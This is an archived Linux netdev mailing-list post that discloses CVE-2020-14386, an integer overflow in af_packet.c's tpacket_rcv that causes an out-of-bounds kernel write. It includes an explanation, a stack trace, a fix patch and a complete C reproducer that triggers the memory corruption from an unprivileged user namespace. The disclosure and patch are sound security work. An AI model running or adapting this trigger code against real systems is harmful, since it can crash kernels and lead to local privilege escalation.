netdev.vger.kernel.org archive mirror
 help / color / mirror / Atom feed
From: Or Cohen <orcohen@paloaltonetworks.com>
To: netdev@vger.kernel.org
Subject: Vulnerability report - af_packet.c - CVE-2020-14386
Date: Thu, 3 Sep 2020 20:07:15 +0300	[thread overview]
Message-ID: <CAM6JnLf_8nwzq+UGO+amXpeApCDarJjwzOEHQd5qBhU7YKm3DQ@mail.gmail.com> (raw)

[-- Attachment #1: Type: text/plain, Size: 3319 bytes --]

Hi,
I already reported the issue to security@kernel.org and
linux-distros@vs.openwall.org and CVE-2020-14386 was assigned.

The report is as follows: ( a proposed patch and a reproducer are attached)

I discovered a bug which leads to a memory corruption in
(net/packet/af_packet.c). It can be exploited to gain root privileges
from unprivileged processes.

To create AF_PACKET sockets you need CAP_NET_RAW in your network
namespace, which can be acquired by unprivileged processes on systems
where unprivileged namespaces are enabled (Ubuntu, Fedora, etc).

I discovered the vulnerability while auditing the 5.7 kernel sources.

The bug occurs in tpacket_rcv function, when calculating the netoff
variable (unsigned short), po->tp_reserve (unsigned int) is added to
it which can overflow netoff so it gets a small value.

macoff is calculated using: "macoff = netoff - maclen", we can control
macoff so it will receive a small value (specifically, smaller then
sizeof(struct virtio_net_hdr)).

Later, when running the following code:
...
if (do_vnet &&
   virtio_net_hdr_from_skb(skb, h.raw + macoff -
sizeof(struct virtio_net_hdr),
...

If do_vnet is set, and because macoff < sizeof(struct virtio_net_hdr)
a pointer to a memory area before the h.raw buffer will be sent to
virtio_net_hdr_from_skb. This can lead to an out-of-bounds write of
1-10 bytes, controlled by the user.

The h.raw buffer is allocated in alloc_pg_vec and it's size is
controlled by the user.

The stack trace is as follows at the time of the crash: ( linux v5.7 )

#0  memset_erms () at arch/x86/lib/memset_64.S:66
#1  0xffffffff831934a6 in virtio_net_hdr_from_skb
(little_endian=<optimized out>, has_data_valid=<optimized out>,
    vlan_hlen=<optimized out>, hdr=<optimized out>, skb=<optimized
out>) at ./include/linux/virtio_net.h:134
#2  tpacket_rcv (skb=0xffff8881ef539940, dev=0xffff8881de534000,
pt=<optimized out>, orig_dev=<optimized out>)
        at net/packet/af_packet.c:2287
#3  0xffffffff82c52e47 in dev_queue_xmit_nit (skb=0xffff8881ef5391c0,
dev=<optimized out>) at net/core/dev.c:2276
#4  0xffffffff82c5e3d4 in xmit_one (more=<optimized out>,
txq=<optimized out>, dev=<optimized out>,
            skb=<optimized out>) at net/core/dev.c:3473
#5  dev_hard_start_xmit (first=0xffffc900001c0ff6, dev=0x0
<fixed_percpu_data>, txq=0xa <fixed_percpu_data+10>,
    ret=<optimized out>) at net/core/dev.c:3493
#6  0xffffffff82c5fc7e in __dev_queue_xmit (skb=0xffff8881ef5391c0,
sb_dev=<optimized out>) at net/core/dev.c:4052
#7  0xffffffff831982d3 in packet_snd (len=65536, msg=<optimized out>,
sock=<optimized out>) 0001-net-packet-fix-overflow-in-tpacket_rcv
at net/packet/af_packet.c:2979
#8  packet_sendmsg (sock=<optimized out>, msg=<optimized out>,
len=65536) at net/packet/af_packet.c:3004
#9  0xffffffff82be09ed in sock_sendmsg_nosec (msg=<optimized out>,
sock=<optimized out>) at net/socket.c:652
#10 sock_sendmsg (sock=0xffff8881e8ff56c0, msg=0xffff8881de56fd88) at
net/socket.c:672

Files attached:
A proposed patch - 0001-net-packet-fix-overflow-in-tpacket_rcv.patch
A reproducer for the bug - trigger_bug.c

We are currently working on an exploit for getting root privileges
from unprivileged context using this bug.

If there is a problem with the patch please let me know and I will fix it.

Or Cohen
Palo Alto Networks

[-- Attachment #2: 0001-net-packet-fix-overflow-in-tpacket_rcv.patch --]
[-- Type: application/octet-stream, Size: 1674 bytes --]

From 3ad04c9555b93ac6a374b0921ad41849caf22067 Mon Sep 17 00:00:00 2001
From: Or Cohen <orcohen@paloaltonetworks.com>
Date: Sun, 30 Aug 2020 20:04:51 +0300
Subject: [PATCH] net/packet: fix overflow in tpacket_rcv

Using tp_reserve to calculate netoff can overflow as
tp_reserve is unsigned int and netoff is unsigned short.

This may lead to macoff receving a smaller value then
sizeof(struct virtio_net_hdr), and if po->has_vnet_hdr
is set, an out-of-bounds write will occur when
calling virtio_net_hdr_from_skb.

The bug is fixed by converting netoff to unsigned int
and checking if it exceeds USHRT_MAX.

Fixes: 8913336a7e8d ("packet: add PACKET_RESERVE sockopt")
Signed-off-by: Or Cohen <orcohen@paloaltonetworks.com>
---
 net/packet/af_packet.c | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/net/packet/af_packet.c b/net/packet/af_packet.c
index 29bd405adbbd..d37435906859 100644
--- a/net/packet/af_packet.c
+++ b/net/packet/af_packet.c
@@ -2168,7 +2168,8 @@ static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
 	int skb_len = skb->len;
 	unsigned int snaplen, res;
 	unsigned long status = TP_STATUS_USER;
-	unsigned short macoff, netoff, hdrlen;
+	unsigned short macoff, hdrlen;
+	unsigned int netoff;
 	struct sk_buff *copy_skb = NULL;
 	struct timespec64 ts;
 	__u32 ts_status;
@@ -2237,6 +2238,10 @@ static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
 		}
 		macoff = netoff - maclen;
 	}
+	if (netoff > USHRT_MAX) {
+		atomic_inc(&po->tp_drops);
+		goto drop_n_restore;
+	}
 	if (po->tp_version <= TPACKET_V2) {
 		if (macoff + snaplen > po->rx_ring.frame_size) {
 			if (po->copy_thresh &&
-- 
2.17.1


[-- Attachment #3: trigger_bug.c --]
[-- Type: application/octet-stream, Size: 3809 bytes --]


#define _GNU_SOURCE

#include <sched.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdbool.h>
#include <stdarg.h>
#include <net/if.h>
#include <stdint.h>


bool write_file(const char* file, const char* what, ...) {
	char buf[1024];
	va_list args;
	va_start(args, what);
	vsnprintf(buf, sizeof(buf), what, args);
	va_end(args);
	buf[sizeof(buf) - 1] = 0;
	int len = strlen(buf);

	int fd = open(file, O_WRONLY | O_CLOEXEC);
	if (fd == -1)
		return false;
	if (write(fd, buf, len) != len) {
		close(fd);
		return false;
	}
	close(fd);
	return true;
}


void setup_sandbox() {
	int real_uid = getuid();
	int real_gid = getgid();

        if (unshare(CLONE_NEWUSER) != 0) {
		perror("[-] unshare(CLONE_NEWUSER)");
		exit(EXIT_FAILURE);
	}

        if (unshare(CLONE_NEWNET) != 0) {
		perror("[-] unshare(CLONE_NEWNET)");
		exit(EXIT_FAILURE);
	}

	if (!write_file("/proc/self/setgroups", "deny")) {
		perror("[-] write_file(/proc/self/set_groups)");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
		perror("[-] write_file(/proc/self/uid_map)");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
		perror("[-] write_file(/proc/self/gid_map)");
		exit(EXIT_FAILURE);
	}

	cpu_set_t my_set;
	CPU_ZERO(&my_set);
	CPU_SET(0, &my_set);
	if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
		perror("[-] sched_setaffinity()");
		exit(EXIT_FAILURE);
	}

	if (system("/sbin/ifconfig lo up") != 0) {
		perror("[-] system(/sbin/ifconfig lo up)");
		exit(EXIT_FAILURE);
	}

}

void packet_socket_send(int s, char *buffer, int size) {
	struct sockaddr_ll sa;
	memset(&sa, 0, sizeof(sa));
	sa.sll_ifindex = if_nametoindex("lo");
	sa.sll_halen = ETH_ALEN;

	if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
			sizeof(sa)) < 0) {
		perror("[-] sendto(SOCK_RAW)");
		exit(EXIT_FAILURE);
	}
}

void loopback_send(char *buffer, int size) {
	int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (s == -1) {
		perror("[-] socket(SOCK_RAW)");
		exit(EXIT_FAILURE);
	}

	packet_socket_send(s, buffer, size);
}



int main()
{

	setup_sandbox();

	int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL) );
	if (s < 0)
	{
		perror("socket\n");
		return 1;
	}

	int v = TPACKET_V2;
	int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
	if (rv < 0)
	{
		perror("setsockopt(PACKET_VERSION)\n");
		return 1;
	}

	v = 1;
	rv = setsockopt(s, SOL_PACKET, PACKET_VNET_HDR, &v, sizeof(v));
	if (rv < 0)
	{
		perror("setsockopt(PACKET_VNET_HDR)\n");
		return 1;
	}

	v = 0xffff - 20 - 0x30 -7;
	rv = setsockopt(s, SOL_PACKET, PACKET_RESERVE, &v, sizeof(v));
	if (rv < 0)
	{
		perror("setsockopt(PACKET_RESERVE)\n");
		return 1;
	}

	struct tpacket_req req;
	memset(&req, 0, sizeof(req));
	req.tp_block_size = 0x800000;
	req.tp_frame_size = 0x11000;
	req.tp_block_nr = 1;
	req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;

	rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
	if (rv < 0) {
		perror("[-] setsockopt(PACKET_RX_RING)");
		exit(EXIT_FAILURE);
	}


	struct sockaddr_ll sa;
	memset(&sa, 0, sizeof(sa));
	sa.sll_family = PF_PACKET;
	sa.sll_protocol = htons(ETH_P_ALL);
	sa.sll_ifindex = if_nametoindex("lo");
	sa.sll_hatype = 0;
	sa.sll_pkttype = 0;
	sa.sll_halen = 0;

	rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
	if (rv < 0) {
		perror("[-] bind(AF_PACKET)");
		exit(EXIT_FAILURE);
	}

	uint32_t size = 0x80000/8;
	char* buf = malloc(size);
	if(!buf)
	{
		perror("malloc\n");
		exit(EXIT_FAILURE);
	}
	memset(buf,0xce,size);
	loopback_send(buf,size);

	return 0;
}



             reply	other threads:[~2020-09-03 17:51 UTC|newest]

Thread overview: 7+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2020-09-03 17:07 Or Cohen [this message]
2020-09-04 13:30 ` [PATCH] net/packet: fix overflow in tpacket_rcv Stefan Nuernberger
2020-09-04 14:16   ` Greg Kroah-Hartman
2020-09-04 14:22     ` Nuernberger, Stefan
2020-09-04 14:36       ` gregkh
2020-09-05  6:54         ` Salvatore Bonaccorso
2020-09-21 17:02           ` Stefan Nuernberger

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=CAM6JnLf_8nwzq+UGO+amXpeApCDarJjwzOEHQd5qBhU7YKm3DQ@mail.gmail.com \
    --to=orcohen@paloaltonetworks.com \
    --cc=netdev@vger.kernel.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).